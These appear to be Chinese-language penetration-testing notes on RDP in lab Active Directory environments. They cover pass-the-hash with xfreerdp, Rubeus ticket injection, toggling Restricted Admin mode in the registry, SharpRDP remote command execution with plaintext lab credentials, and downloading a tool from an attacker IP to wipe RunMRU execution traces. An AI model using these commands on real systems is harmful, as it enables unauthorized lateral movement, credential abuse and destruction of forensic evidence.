RDP

1. 使用

1.1. On windows

mstsc.exe

1.2. On Linux

xfreerdp /u:Helen /p:'RedRiot88' /d:inlanefreight.local /v:10.129.229.244 /dynamic-resolution /drive:.,linux /clipboard
  • /dynamic-resolution: 启用动态分辨率+可以动态调整窗口大小
  • /drive:.,linux :本地当前文件夹挂在到windows
  • /clipboard:启用本地机器与远程机器之间的剪贴板共享
  • /pth: 使用hash传递密码

1.2.1. 低延迟优化

  • /bpp:8:将色彩深度降低至 8 位(每像素),从而减少传输的数据量。
  • /compression:启用压缩功能,以减少通过网络发送的数据。
  • -themes:禁用桌面主题,以减少图形数据。
  • -wallpaper:禁用桌面壁纸,进一步减少图形数据。
  • /audio-mode:0:禁用音频重定向,以节省带宽。
  • /auto-reconnect:如果连接中断,自动重新连接,提高会话稳定性。
  • -glyph-cache:启用字形(文本字符)缓存,减少文本渲染时发送的数据量。

1.3. 受限管理员模式

启用后,RDP执行网络登录而非交互式登录,防止在远程系统上缓存凭据(仅适用于管理员)

#检测 
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin

#启用
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /d 0 /t REG_DWORD

#禁用
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /d 1 /t REG_DWORD
  • DisableRestrictedAdmin 的值表示 Restricted Admin Mode 的状态
  • 0 开启;1禁用;不存在 禁用

1.4. PTT over RDP

1.4.1. On Linux

linux使用 xfreerdp的 /pth参数即可

xfreerdp /u:helen /pth:62EBA30320E250ECA185AA1327E78AEB /d:inlanefreight.local /v:172.20.0.52

1.4.2. On windows

windows上需要使用Rubeus创建一个牺牲进程,然后用mstsc /restrictedAdmin进行RDP

#创建牺牲进程(确保干净的环境)
.\Rubeus.exe createnetonly /program:powershell.exe /show

#获取tgt
.\Rubeus.exe asktgt /user:administrator /rc4:e45a314c664d40a227f9540121d1a29d /domain:maze.sec /dc:192.168.8.8 /ptt

#受限模式进行rdp
mstsc.exe /restrictedAdmin

本地测试,没有成功

1.5. SharpRDP

https://github.com/0xthirteen/SharpRDP
SharpRDP 是一个.NET 工具,允许通过 RDP 进行非图形化、经过身份验证的远程命令执行,利用了 RDP 客户端使用的 mstscax.dll 库

.\SharpRDP.exe computername=srv01 command="whoami" username=inlanefreight\helen password=RedRiot88

SharpRDP 的命令执行限制在 259 个字符以内。

SharpRDP 使用 Microsoft 终端服务执行命令,会在 RunMRU 注册表键( HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU 或 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU )中留下命令执行的痕迹。(也就是win+R的历史记录)

使用 CleanRunMRU进行清理

#下载编译
wget -Uri http://10.10.14.207/CleanRunMRU/CleanRunMRU/Program.cs -OutFile CleanRunMRU.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe .\CleanRunMRU.cs

#清理命令
.\CleanRunMRU.exe  clearall